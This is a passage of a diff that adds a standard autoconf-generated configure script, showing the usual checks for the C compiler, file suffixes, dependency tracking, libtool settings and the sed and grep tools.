esac +done +rm -f $ac_rmfiles + +if { { ac_try="$ac_link_default" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_link_default") 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; then : + # Autoconf-2.13 could set the ac_cv_exeext variable to `no'. +# So ignore a value of `no', otherwise this would lead to `EXEEXT = no' +# in a Makefile. We should not override ac_cv_exeext if it was cached, +# so that the user can short-circuit this test for compilers unknown to +# Autoconf. +for ac_file in $ac_files '' +do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) + ;; + [ab].out ) + # We found the default executable, but exeext='' is most + # certainly right. + break;; + *.* ) + if test "${ac_cv_exeext+set}" = set && test "$ac_cv_exeext" != no; + then :; else + ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + fi + # We set ac_cv_exeext here because the later test for it is not + # safe: cross compilers may not add the suffix if given an `-o' + # argument, so we may need to know it at that point already. + # Even if this section looks crufty: it has the advantage of + # actually working. + break;; + * ) + break;; + esac +done +test "$ac_cv_exeext" = no && ac_cv_exeext= + +else + ac_file='' +fi +if test -z "$ac_file"; then : + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +$as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} +as_fn_error 77 "C compiler cannot create executables +See \`config.log' for more details" "$LINENO" 5; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +$as_echo "yes" >&6; } +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for C compiler default output file name" >&5 +$as_echo_n "checking for C compiler default output file name... " >&6; } +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_file" >&5 +$as_echo "$ac_file" >&6; } +ac_exeext=$ac_cv_exeext + +rm -f -r a.out a.out.dSYM a.exe conftest$ac_cv_exeext b.out +ac_clean_files=$ac_clean_files_save +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of executables" >&5 +$as_echo_n "checking for suffix of executables... " >&6; } +if { { ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; then : + # If both `conftest.exe' and `conftest' are `present' (well, observable) +# catch `conftest.exe'. For instance with Cygwin, `ls conftest' will +# work properly (i.e., refer to `conftest.exe'), while it won't with +# `rm'. +for ac_file in conftest.exe conftest conftest.*; do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; + *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + break;; + * ) break;; + esac +done +else + { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} +as_fn_error $? "cannot compute suffix of executables: cannot compile and link +See \`config.log' for more details" "$LINENO" 5; } +fi +rm -f conftest conftest$ac_cv_exeext +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_exeext" >&5 +$as_echo "$ac_cv_exeext" >&6; } + +rm -f conftest.$ac_ext +EXEEXT=$ac_cv_exeext +ac_exeext=$EXEEXT +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +int +main () +{ +FILE *f = fopen ("conftest.out", "w"); + return ferror (f) || fclose (f) != 0; + + ; + return 0; +} +_ACEOF +ac_clean_files="$ac_clean_files conftest.out" +# Check that the compiler produces executables we can run. If not, either +# the compiler is broken, or we cross compile. +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are cross compiling" >&5 +$as_echo_n "checking whether we are cross compiling... " >&6; } +if test "$cross_compiling" != yes; then + { { ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } + if { ac_try='./conftest$ac_cv_exeext' + { { case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; }; then + cross_compiling=no + else + if test "$cross_compiling" = maybe; then + cross_compiling=yes + else + { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} +as_fn_error $? "cannot run C compiled programs. +If you meant to cross compile, use \`--host'. +See \`config.log' for more details" "$LINENO" 5; } + fi + fi +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $cross_compiling" >&5 +$as_echo "$cross_compiling" >&6; } + +rm -f conftest.$ac_ext conftest$ac_cv_exeext conftest.out +ac_clean_files=$ac_clean_files_save +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of object files" >&5 +$as_echo_n "checking for suffix of object files... " >&6; } +if ${ac_cv_objext+:} false; then : + $as_echo_n "(cached) " >&6 +else + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.o conftest.obj +if { { ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_compile") 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; then : + for ac_file in conftest.o conftest.obj conftest.*; do + test -f "$ac_file" || continue; + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM ) ;; + *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` + break;; + esac +done +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} +as_fn_error $? "cannot compute suffix of object files: cannot compile +See \`config.log' for more details" "$LINENO" 5; } +fi +rm -f conftest.$ac_cv_objext conftest.$ac_ext +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_objext" >&5 +$as_echo "$ac_cv_objext" >&6; } +OBJEXT=$ac_cv_objext +ac_objext=$OBJEXT +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are using the GNU C compiler" >&5 +$as_echo_n "checking whether we are using the GNU C compiler... " >&6; } +if ${ac_cv_c_compiler_gnu+:} false; then : + $as_echo_n "(cached) " >&6 +else + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main () +{ +#ifndef __GNUC__ + choke me +#endif + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO"; then : + ac_compiler_gnu=yes +else + ac_compiler_gnu=no +fi +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +ac_cv_c_compiler_gnu=$ac_compiler_gnu + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_compiler_gnu" >&5 +$as_echo "$ac_cv_c_compiler_gnu" >&6; } +if test $ac_compiler_gnu = yes; then + GCC=yes +else + GCC= +fi +ac_test_CFLAGS=${CFLAGS+set} +ac_save_CFLAGS=$CFLAGS +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether $CC accepts -g" >&5 +$as_echo_n "checking whether $CC accepts -g... " >&6; } +if ${ac_cv_prog_cc_g+:} false; then : + $as_echo_n "(cached) " >&6 +else + ac_save_c_werror_flag=$ac_c_werror_flag + ac_c_werror_flag=yes + ac_cv_prog_cc_g=no + CFLAGS="-g" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO"; then : + ac_cv_prog_cc_g=yes +else + CFLAGS="" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO"; then : + +else + ac_c_werror_flag=$ac_save_c_werror_flag + CFLAGS="-g" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO"; then : + ac_cv_prog_cc_g=yes +fi +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + ac_c_werror_flag=$ac_save_c_werror_flag +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_g" >&5 +$as_echo "$ac_cv_prog_cc_g" >&6; } +if test "$ac_test_CFLAGS" = set; then + CFLAGS=$ac_save_CFLAGS +elif test $ac_cv_prog_cc_g = yes; then + if test "$GCC" = yes; then + CFLAGS="-g -O2" + else + CFLAGS="-g" + fi +else + if test "$GCC" = yes; then + CFLAGS="-O2" + else + CFLAGS= + fi +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $CC option to accept ISO C89" >&5 +$as_echo_n "checking for $CC option to accept ISO C89... " >&6; } +if ${ac_cv_prog_cc_c89+:} false; then : + $as_echo_n "(cached) " >&6 +else + ac_cv_prog_cc_c89=no +ac_save_CC=$CC +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +#include +struct stat; +/* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */ +struct buf { int x; }; +FILE * (*rcsopen) (struct buf *, struct stat *, int); +static char *e (p, i) + char **p; + int i; +{ + return p[i]; +} +static char *f (char * (*g) (char **, int), char **p, ...) +{ + char *s; + va_list v; + va_start (v,p); + s = g (p, va_arg (v,int)); + va_end (v); + return s; +} + +/* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has + function prototypes and stuff, but not '\xHH' hex character constants. + These don't provoke an error unfortunately, instead are silently treated + as 'x'. The following induces an error, until -std is added to get + proper ANSI mode. Curiously '\x00'!='x' always comes out true, for an + array size at least. It's necessary to write '\x00'==0 to get something + that's true only with -std. */ +int osf4_cc_array ['\x00' == 0 ? 1 : -1]; + +/* IBM C 6 for AIX is almost-ANSI by default, but it replaces macro parameters + inside strings and character constants. */ +#define FOO(x) 'x' +int xlc6_cc_array[FOO(a) == 'x' ? 1 : -1]; + +int test (int i, double x); +struct s1 {int (*f) (int a);}; +struct s2 {int (*f) (double a);}; +int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int); +int argc; +char **argv; +int +main () +{ +return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]; + ; + return 0; +} +_ACEOF +for ac_arg in '' -qlanglvl=extc89 -qlanglvl=ansi -std \ + -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" +do + CC="$ac_save_CC $ac_arg" + if ac_fn_c_try_compile "$LINENO"; then : + ac_cv_prog_cc_c89=$ac_arg +fi +rm -f core conftest.err conftest.$ac_objext + test "x$ac_cv_prog_cc_c89" != "xno" && break +done +rm -f conftest.$ac_ext +CC=$ac_save_CC + +fi +# AC_CACHE_VAL +case "x$ac_cv_prog_cc_c89" in + x) + { $as_echo "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 +$as_echo "none needed" >&6; } ;; + xno) + { $as_echo "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 +$as_echo "unsupported" >&6; } ;; + *) + CC="$CC $ac_cv_prog_cc_c89" + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c89" >&5 +$as_echo "$ac_cv_prog_cc_c89" >&6; } ;; +esac +if test "x$ac_cv_prog_cc_c89" != xno; then : + +fi + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +DEPDIR="${am__leading_dot}deps" + +ac_config_commands="$ac_config_commands depfiles" + + +am_make=${MAKE-make} +cat > confinc << 'END' +am__doit: + @echo this is the am__doit target +.PHONY: am__doit +END +# If we don't find an include directive, just comment out the code. +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for style of include used by $am_make" >&5 +$as_echo_n "checking for style of include used by $am_make... " >&6; } +am__include="#" +am__quote= +_am_result=none +# First try GNU make style include. +echo "include confinc" > confmf +# Ignore all kinds of additional output from 'make'. +case `$am_make -s -f confmf 2> /dev/null` in #( +*the\ am__doit\ target*) + am__include=include + am__quote= + _am_result=GNU + ;; +esac +# Now try BSD make style include. +if test "$am__include" = "#"; then + echo '.include "confinc"' > confmf + case `$am_make -s -f confmf 2> /dev/null` in #( + *the\ am__doit\ target*) + am__include=.include + am__quote="\"" + _am_result=BSD + ;; + esac +fi + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $_am_result" >&5 +$as_echo "$_am_result" >&6; } +rm -f confinc confmf + +# Check whether --enable-dependency-tracking was given. +if test "${enable_dependency_tracking+set}" = set; then : + enableval=$enable_dependency_tracking; +fi + +if test "x$enable_dependency_tracking" != xno; then + am_depcomp="$ac_aux_dir/depcomp" + AMDEPBACKSLASH='\' + am__nodep='_no' +fi + if test "x$enable_dependency_tracking" != xno; then + AMDEP_TRUE= + AMDEP_FALSE='#' +else + AMDEP_TRUE='#' + AMDEP_FALSE= +fi + + + +depcc="$CC" am_compiler_list= + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dependency style of $depcc" >&5 +$as_echo_n "checking dependency style of $depcc... " >&6; } +if ${am_cv_CC_dependencies_compiler_type+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then + # We make a subdir and do the tests there. Otherwise we can end up + # making bogus files that we don't know about and never remove. For + # instance it was reported that on HP-UX the gcc test will end up + # making a dummy file named 'D' -- because '-MD' means "put the output + # in D". + rm -rf conftest.dir + mkdir conftest.dir + # Copy depcomp to subdir because otherwise we won't find it if we're + # using a relative directory. + cp "$am_depcomp" conftest.dir + cd conftest.dir + # We will build objects and dependencies in a subdirectory because + # it helps to detect inapplicable dependency modes. For instance + # both Tru64's cc and ICC support -MD to output dependencies as a + # side effect of compilation, but ICC will put the dependencies in + # the current directory while Tru64 will put them in the object + # directory. + mkdir sub + + am_cv_CC_dependencies_compiler_type=none + if test "$am_compiler_list" = ""; then + am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp` + fi + am__universal=false + case " $depcc " in #( + *\ -arch\ *\ -arch\ *) am__universal=true ;; + esac + + for depmode in $am_compiler_list; do + # Setup a source with many dependencies, because some compilers + # like to wrap large dependency lists on column 80 (with \), and + # we should not choose a depcomp mode which is confused by this. + # + # We need to recreate these files for each test, as the compiler may + # overwrite some of them when testing with obscure command lines. + # This happens at least with the AIX C compiler. + : > sub/conftest.c + for i in 1 2 3 4 5 6; do + echo '#include "conftst'$i'.h"' >> sub/conftest.c + # Using ": > sub/conftst$i.h" creates only sub/conftst1.h with + # Solaris 10 /bin/sh. + echo '/* dummy */' > sub/conftst$i.h + done + echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf + + # We check with '-c' and '-o' for the sake of the "dashmstdout" + # mode. It turns out that the SunPro C++ compiler does not properly + # handle '-M -o', and we need to detect this. Also, some Intel + # versions had trouble with output in subdirs. + am__obj=sub/conftest.${OBJEXT-o} + am__minus_obj="-o $am__obj" + case $depmode in + gcc) + # This depmode causes a compiler race in universal mode. + test "$am__universal" = false || continue + ;; + nosideeffect) + # After this tag, mechanisms are not by side-effect, so they'll + # only be used when explicitly requested. + if test "x$enable_dependency_tracking" = xyes; then + continue + else + break + fi + ;; + msvc7 | msvc7msys | msvisualcpp | msvcmsys) + # This compiler won't grok '-c -o', but also, the minuso test has + # not run yet. These depmodes are late enough in the game, and + # so weak that their functioning should not be impacted. + am__obj=conftest.${OBJEXT-o} + am__minus_obj= + ;; + none) break ;; + esac + if depmode=$depmode \ + source=sub/conftest.c object=$am__obj \ + depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ + $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ + >/dev/null 2>conftest.err && + grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && + grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && + grep $am__obj sub/conftest.Po > /dev/null 2>&1 && + ${MAKE-make} -s -f confmf > /dev/null 2>&1; then + # icc doesn't choke on unknown options, it will just issue warnings + # or remarks (even with -Werror). So we grep stderr for any message + # that says an option was ignored or not supported. + # When given -MP, icc 7.0 and 7.1 complain thusly: + # icc: Command line warning: ignoring option '-M'; no argument required + # The diagnosis changed in icc 8.0: + # icc: Command line remark: option '-MP' not supported + if (grep 'ignoring option' conftest.err || + grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else + am_cv_CC_dependencies_compiler_type=$depmode + break + fi + fi + done + + cd .. + rm -rf conftest.dir +else + am_cv_CC_dependencies_compiler_type=none +fi + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $am_cv_CC_dependencies_compiler_type" >&5 +$as_echo "$am_cv_CC_dependencies_compiler_type" >&6; } +CCDEPMODE=depmode=$am_cv_CC_dependencies_compiler_type + + if + test "x$enable_dependency_tracking" != xno \ + && test "$am_cv_CC_dependencies_compiler_type" = gcc3; then + am__fastdepCC_TRUE= + am__fastdepCC_FALSE='#' +else + am__fastdepCC_TRUE='#' + am__fastdepCC_FALSE= +fi + + +# Check whether --enable-shared was given. +if test "${enable_shared+set}" = set; then : + enableval=$enable_shared; p=${PACKAGE-default} + case $enableval in + yes) enable_shared=yes ;; + no) enable_shared=no ;; + *) + enable_shared=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_shared=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac +else + enable_shared=no +fi + + + + + + + + + +case `pwd` in + *\ * | *\ *) + { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Libtool does not cope well with whitespace in \`pwd\`" >&5 +$as_echo "$as_me: WARNING: Libtool does not cope well with whitespace in \`pwd\`" >&2;} ;; +esac + + + +macro_version='2.4.2' +macro_revision='1.3337' + + + + + + + + + + + + + +ltmain="$ac_aux_dir/ltmain.sh" + +# Backslashify metacharacters that are still active within +# double-quoted strings. +sed_quote_subst='s/\(["`$\\]\)/\\\1/g' + +# Same as above, but do not quote variable references. +double_quote_subst='s/\(["`\\]\)/\\\1/g' + +# Sed substitution to delay expansion of an escaped shell variable in a +# double_quote_subst'ed string. +delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g' + +# Sed substitution to delay expansion of an escaped single quote. +delay_single_quote_subst='s/'\''/'\'\\\\\\\'\''/g' + +# Sed substitution to avoid accidental globbing in evaled expressions +no_glob_subst='s/\*/\\\*/g' + +ECHO='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' +ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO +ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5 +$as_echo_n "checking how to print strings... " >&6; } +# Test print first, because it will be a builtin if present. +if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \ + test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then + ECHO='print -r --' +elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then + ECHO='printf %s\n' +else + # Use this function as a fallback that always works. + func_fallback_echo () + { + eval 'cat <<_LTECHO_EOF +$1 +_LTECHO_EOF' + } + ECHO='func_fallback_echo' +fi + +# func_echo_all arg... +# Invoke $ECHO with all args, space-separated. +func_echo_all () +{ + $ECHO "" +} + +case "$ECHO" in + printf*) { $as_echo "$as_me:${as_lineno-$LINENO}: result: printf" >&5 +$as_echo "printf" >&6; } ;; + print*) { $as_echo "$as_me:${as_lineno-$LINENO}: result: print -r" >&5 +$as_echo "print -r" >&6; } ;; + *) { $as_echo "$as_me:${as_lineno-$LINENO}: result: cat" >&5 +$as_echo "cat" >&6; } ;; +esac + + + + + + + + + + + + + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for a sed that does not truncate output" >&5 +$as_echo_n "checking for a sed that does not truncate output... " >&6; } +if ${ac_cv_path_SED+:} false; then : + $as_echo_n "(cached) " >&6 +else + ac_script=s/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/ + for ac_i in 1 2 3 4 5 6 7; do + ac_script="$ac_script$as_nl$ac_script" + done + echo "$ac_script" 2>/dev/null | sed 99q >conftest.sed + { ac_script=; unset ac_script;} + if test -z "$SED"; then + ac_path_SED_found=false + # Loop through the user's path and test for each of PROGNAME-LIST + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_prog in sed gsed; do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_SED="$as_dir/$ac_prog$ac_exec_ext" + as_fn_executable_p "$ac_path_SED" || continue +# Check for GNU ac_path_SED and select it if it is found. + # Check for GNU $ac_path_SED +case `"$ac_path_SED" --version 2>&1` in +*GNU*) + ac_cv_path_SED="$ac_path_SED" ac_path_SED_found=:;; +*) + ac_count=0 + $as_echo_n 0123456789 >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + $as_echo '' >> "conftest.nl" + "$ac_path_SED" -f conftest.sed < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + as_fn_arith $ac_count + 1 && ac_count=$as_val + if test $ac_count -gt ${ac_path_SED_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_SED="$ac_path_SED" + ac_path_SED_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + $ac_path_SED_found && break 3 + done + done + done +IFS=$as_save_IFS + if test -z "$ac_cv_path_SED"; then + as_fn_error $? "no acceptable sed could be found in \$PATH" "$LINENO" 5 + fi +else + ac_cv_path_SED=$SED +fi + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_SED" >&5 +$as_echo "$ac_cv_path_SED" >&6; } + SED="$ac_cv_path_SED" + rm -f conftest.sed + +test -z "$SED" && SED=sed +Xsed="$SED -e 1s/^X//" + + + + + + + + + + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for grep that handles long lines and -e" >&5 +$as_echo_n "checking for grep that handles long lines and -e... " >&6; } +if ${ac_cv_path_GREP+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -z "$GREP"; then + ac_path_GREP_found=false + # Loop through the user's path and test for each of PROGNAME-LIST + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_prog in grep ggrep; do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_GREP="$as_dir/$ac_prog$ac_exec_ext" + as_fn_executable_p "$ac_path_GREP" || continue +# Check for GNU ac_path_GREP and select it if it is found. + # Check for GNU $ac_path_GREP +case `"$ac_path_GREP" --version 2>&1` in +*GNU*) + ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_found=:;; +*) + ac_count=0 + $as_echo_n 0123456789 >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + $as_echo 'GREP' >> "conftest.nl" + "$ac_path_GREP" -e 'GREP$' -e '-(cannot match)-' < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + as_fn_arith $ac_count + 1 && ac_count=$as_val + if test $ac_count -gt ${ac_path_GREP_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_GREP="$ac_path_GREP" + ac_path_GREP_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + $ac_path_GREP_found && break 3 + done + done + done +IFS=$as_save_IFS + if test -z "$ac_cv_path_GREP"; then + as_fn_error $? "no acceptable grep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 + fi +else + ac_cv_path_GREP=$GREP +fi + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_GREP" >&5 +$as_echo "$ac_cv_path_GREP" >&6; } + GREP="$ac_cv_path_GREP" + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for egrep" >&5 +$as_echo_n "checking for egrep... " >&6; } +if ${ac_cv_path_EGREP+:} false; then : + $as_echo_n "(cached) " >&6 +else + if echo a | $GREP -E '(a|b)' >/dev/null 2>&1 + then ac_cv_path_EGREP="$GREP -E" + else + if test -z "$EGREP"; then + ac_path_EGREP_found=false + # Loop through the user's path and test for each of PROGNAME-LIST + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_prog in egrep; do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_EGREP="$as_dir/$ac_prog$ac_exec_ext" + as_fn_executable_p "$ac_path_EGREP" || continue +# Check for GNU ac_path_EGREP and select it if it is found. + # Check for GNU $ac_path_EGREP +case `"$ac_path_EGREP" --version 2>&1` in +*GNU*) + ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_found=:;; +*) + ac_count=0 + $as_echo_n 0123456789 >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + $as_echo 'EGREP' >> "conftest.nl" + "$ac_path_EGREP" 'EGREP$' < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + as_fn_arith $ac_count + 1 && ac_count=$as_val + if test $ac_count -gt ${ac_path_EGREP_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_EGREP="$ac_path_EGREP" + ac_path_EGREP_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + $ac_path_EGREP_found && break 3 + done + done + done +IFS=$as_save_IFS + if test -z "$ac_cv_path_EGREP"; then + as_fn_error $? "no acceptable egrep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 + fi +else + ac_cv_path_EGREP=$EGREP +fi + + fi +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_EGREP" >&5 +$as_echo "$ac_cv_path_EGREP" >&6; } + EGREP="$ac_cv_path_EGREP" + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for fgrep" >&5 +$as_echo_n "checking for fgrep... " >&6; } +if ${ac_cv_path_FGREP+:} false; then : + $as_echo_n "(cached) " >&6 +else + if echo 'ab*c' | $GREP -F 'ab*c' >/dev/null 2>&1 + then ac_cv_path_FGREP="$GREP -F" + else + if test -z "$FGREP"; then + ac_path_FGREP_found=false + # Loop through the user's path and test for each of PROGNAME-LIST + as_save_IFS=$IFS; 